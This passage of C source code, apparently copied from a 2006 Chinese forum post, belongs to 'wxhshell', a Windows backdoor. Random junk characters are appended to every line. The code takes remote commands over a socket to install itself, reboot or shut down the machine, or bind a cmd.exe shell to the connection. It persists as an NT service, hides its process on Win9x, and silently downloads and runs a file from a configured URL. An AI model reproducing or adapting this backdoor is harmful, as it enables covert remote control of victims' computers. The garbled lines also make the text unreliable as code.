    switch(cmd[0]) { Hr$QLtr  
  "Ky; a?Y  
  // 帮助 h,"4SSL  
  case '?': { ^eoLAL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tnLAJ+ -M  
    break; F`9]=T0  
  } U!Ek'  
  // 安装 H:"ma S\I  
  case 'i': { ul*Qt}  
    if(Install()) )Pv9_XKJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }pJwj  
    else P (S>=,Y&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YtO|D  
    break; 'fPdpnJ<  
    } awz;z?~  
  // 卸载 \rPbK+G.  
  case 'r': { |hr]>P1  
    if(Uninstall()) (e"iO`H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^n+!4(@=  
    else *YlV-C<}W"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >$2V%};  
    break; "le>_Ze_>|  
    } 1IVuSp`{FU  
  // 显示 wxhshell 所在路径 tY <Z'xA?  
  case 'p': { VcoOeAKL  
    char svExeFile[MAX_PATH]; *_?dVhxf  
    strcpy(svExeFile,"\n\r"); 0:b2(^]bg  
      strcat(svExeFile,ExeFile); Gm\/Y:U  
        send(wsh,svExeFile,strlen(svExeFile),0); Gdg"gi!4  
    break; Ge<nxl<Bd  
    } @]ao"ui@/  
  // 重启 : "1XPr  
  case 'b': { a+Ac[>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : >>@rF ,  
    if(Boot(REBOOT)) 'R_g">B.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Fm90O  
    else { NB<A>baL*  
    closesocket(wsh); 2+X\}s1vN  
    ExitThread(0); *E{2J:`  
    } +a*tO@HG  
    break; \G-KplKS  
    } &~W:xg(jN  
  // 关机 zk( U8C+  
  case 'd': { l<N}!lG|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ."FuwKSJCo  
    if(Boot(SHUTDOWN)) `hb%+-lj+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %dY<=x#b  
    else { xNbPsoK  
    closesocket(wsh); yiO. z  
    ExitThread(0); F8apH{&t  
    } []D@Q+1  
    break; 2p " WTd  
    } p/h Rk<K6  
  // 获取shell 4R\ Hpt  
  case 's': { \eFR(gO+  
    CmdShell(wsh); ,TFIG^Dvq  
    closesocket(wsh); `]W| 8M  
    ExitThread(0); f%*/cpA)  
    break; 8]LD]h)B"  
  } q`r**N+zn  
  // 退出 w4gg@aO  
  case 'x': { Jkek-m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IC7M$  
    CloseIt(wsh); 4]E3c AJ  
    break; qT^I?g"!  
    } Ng_!zrx04  
  // 离开 ,2W8=ON  
  case 'q': { rvw)-=qR[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `*shF9.\C  
    closesocket(wsh); 5;HH4?]p  
    WSACleanup(); Gy(=706  
    exit(1); 87YyDWTn  
    break; /gG"v5]  
        } )-. _FOZ6  
  } =&:Y6XP  
  } Ywwu0.H<  
v;ZA 4c  
  // 提示信息 wH@Ns~[MA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :eCU/BC4  
} y~\oTJb  
  } )>Yu!8i  
xKho1Z  
  return; 9B9(8PVG  
} ,l)^Ft`5  
1 .6:#  
// shell模块句柄 .;N1N^  
int CmdShell(SOCKET sock) ( U xW;  
{ _FWBUZ;N  
STARTUPINFO si; <Sr  
ZeroMemory(&si,sizeof(si)); O`<KwUx !  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j{Q9{}<e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r% +V8o  
PROCESS_INFORMATION ProcessInfo; pS7w' H  
char cmdline[]="cmd"; aYSCw 3C<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t)}scf&^x  
  return 0; ;-qO'V:;  
} aSnF KB  
H7DJ~z~J  
// 自身启动模式 mV pMh#zw  
int StartFromService(void) PGoh1Uu  
{ J G{3EWXR  
typedef struct sdo [D  
{ ] @u6HH~^  
  DWORD ExitStatus; RtM8yar+sn  
  DWORD PebBaseAddress; Nb'''W-iu  
  DWORD AffinityMask; Bn &Ws  
  DWORD BasePriority; q1KZ5G)6GJ  
  ULONG UniqueProcessId; \}|o1Xh2  
  ULONG InheritedFromUniqueProcessId; Sxh]R+Xb  
}   PROCESS_BASIC_INFORMATION; Iepsz  
r<d_[?1N  
PROCNTQSIP NtQueryInformationProcess; jIyB  
=D<PVGo9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rw0qcM\>|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |3KLk?2  
 ^0 \  
  HANDLE             hProcess; Y<%@s}zc  
  PROCESS_BASIC_INFORMATION pbi;  UWo]s.  
pz.JWCU1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XLrwxj0  
  if(NULL == hInst ) return 0; }*S `qW;B  
yvO{:B8%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |M, iM]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QvKh,rBFVG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t,+nQ9  
) u`[6,d  
  if (!NtQueryInformationProcess) return 0; `M^= D&Bf  
.E8_Oz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Su/6Q$0 t  
  if(!hProcess) return 0; N@Uy=?)ZJ  
LAS'u "c|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2so!  
7E79-r&n  
  CloseHandle(hProcess); ~yW4)4k;b  
%/zbgS`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }%{LJ}\Px  
if(hProcess==NULL) return 0; i\rDu^VQ  
TI,&!E?;  
HMODULE hMod; FwkuC09tI  
char procName[255]; HOJs[mqB%  
unsigned long cbNeeded; `3WFjU 5a  
^<a t'jk6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gL *>[@RO  
_8F`cuyW  
  CloseHandle(hProcess); q %"VYt4  
oF1,QQ^dg  
if(strstr(procName,"services")) return 1; // 以服务启动 D!Pq4'd(  
0vD7v  
  return 0; // 注册表启动 _n50C"X=&(  
} sg3OL/"  
T^k7o^N>  
// 主模块 E^/t$M|H  
int StartWxhshell(LPSTR lpCmdLine) 'O_3)x5  
{ !C3MFm{B  
  SOCKET wsl; |es?;s'  
BOOL val=TRUE; E%,^Yvh/  
  int port=0; I%j|D#qY:T  
  struct sockaddr_in door; i/`m`qdg  
VyXhl;  
  if(wscfg.ws_autoins) Install(); fY51:0{  
&;[Io  
port=atoi(lpCmdLine); 2j}\3Pi  
yy i#Mo ,  
if(port<=0) port=wscfg.ws_port; _M`--.{\O[  
F`XP@Xx  
  WSADATA data; 9CWF{"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "8x8UgG  
iXVe.n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1AM!8VR2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *U,@q4  
  door.sin_family = AF_INET; :*Z4yx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4gz H8sF  
  door.sin_port = htons(port); %\dz m-d(C  
<66X Xh.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7e|s wJ>4  
closesocket(wsl); 0zlb0[  
return 1; q1"$<# t  
} F@'Jbd`   
BW}U%B^.  
  if(listen(wsl,2) == INVALID_SOCKET) { qG?Qc (  
closesocket(wsl); /_AnP  
return 1; 4C61GB?Vy  
} NV72  
  Wxhshell(wsl); irFMmIb  
  WSACleanup(); ORHp$Un~)  
?mFv0_!O  
return 0; "4+ &-ms  
_VRpI)mu  
} Vt %bI0#  
5HkKurab  
// 以NT服务方式启动 0ghGBuv1s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (:TjoXXiY  
{ cdl&9-}  
DWORD   status = 0; :8=ikwQ  
  DWORD   specificError = 0xfffffff; )_syZ1j  
; >hNt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &5fJPv &  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .w=/+TA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r ~jm`y  
  serviceStatus.dwWin32ExitCode     = 0; \E72L5nJW  
  serviceStatus.dwServiceSpecificExitCode = 0; PV'x+bN5  
  serviceStatus.dwCheckPoint       = 0; |:nOp(A\*  
  serviceStatus.dwWaitHint       = 0; m? J0i>H  
4o <Uy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u~7hWiY<2  
  if (hServiceStatusHandle==0) return; H]{v;;'~  
(C-{B[Y  
status = GetLastError(); r3&G)g=u  
  if (status!=NO_ERROR) |[<_GQl  
{ U@_dm/;0&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Ys %:>?  
    serviceStatus.dwCheckPoint       = 0; ZRh~`yy  
    serviceStatus.dwWaitHint       = 0; 5[k/s}g  
    serviceStatus.dwWin32ExitCode     = status; Xx."$l  
    serviceStatus.dwServiceSpecificExitCode = specificError; :DrWq{4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nBjqTud  
    return; [R(`W#W  
  } Y!~49<;  
$+8cc\fq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0=@?ob7  
  serviceStatus.dwCheckPoint       = 0; bv]`!g: C  
  serviceStatus.dwWaitHint       = 0; LSa,1{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /32Fy`KV  
} `5cKA;j>b  
&S{RGXj_  
// 处理NT服务事件,比如:启动、停止 xu/cq9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qON|4+~u%  
{ R&8Iz yM  
switch(fdwControl) H[s(e5 6z  
{ 8ndYV>{f  
case SERVICE_CONTROL_STOP: 7 E r23Q  
  serviceStatus.dwWin32ExitCode = 0; V+* P2|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YSr9VpqWV  
  serviceStatus.dwCheckPoint   = 0; Xb:;</  
  serviceStatus.dwWaitHint     = 0; c]x1HvPE  
  { >BIMi^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f=(?JT  
  } q@QksAq  
  return; Y_;#UU689  
case SERVICE_CONTROL_PAUSE: 5,3'=mA6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hm84Aq= f  
  break; tX9{hC^  
case SERVICE_CONTROL_CONTINUE: 1->dMm}G[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jqWu  
  break; *g:4e3Iy  
case SERVICE_CONTROL_INTERROGATE: Fsmycr!R  
  break; E ]A#Uy  
}; >BR(Wd.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /f:dv?!km  
} =)M/@T  
Hu\B"fdS  
// 标准应用程序主函数 R0P iv:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nW PF6V>  
{ _GXk0Ia3`  
j~2{lCT  
// 获取操作系统版本 5gb|w\N>  
OsIsNt=GetOsVer(); [.O?Z=5a[V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YZLkL26[  
.f*4T4eR-  
  // 从命令行安装 _Zp}?b5Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); [;r)9mh7  
1t:Q_j0Ym  
  // 下载执行文件 ;kFDMuuO  
if(wscfg.ws_downexe) { bZnuNYty75  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^nT/i .#_  
  WinExec(wscfg.ws_filenam,SW_HIDE); p#01gB  
} 09X01X[  
K,Ef9c/+K  
if(!OsIsNt) { hEA<o67  
// 如果时win9x,隐藏进程并且设置为注册表启动 I?h)OvWd  
HideProc(); PXK7b2fE.  
StartWxhshell(lpCmdLine); 6_J$UBT  
} ^Ew]uN>,  
else \s/s7y6b+  
  if(StartFromService()) W3]_m8,Z  
  // 以服务方式启动 MuYk};f  
  StartServiceCtrlDispatcher(DispatchTable); ;+e}aER&9  
else O!m vJD  
  // 普通方式启动 n G,A@/N  
  StartWxhshell(lpCmdLine); zcel|oz)  
=!kk|_0%E  
return 0; G<At_YS  
}
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只看该作者 1 发表于: 2006-10-10
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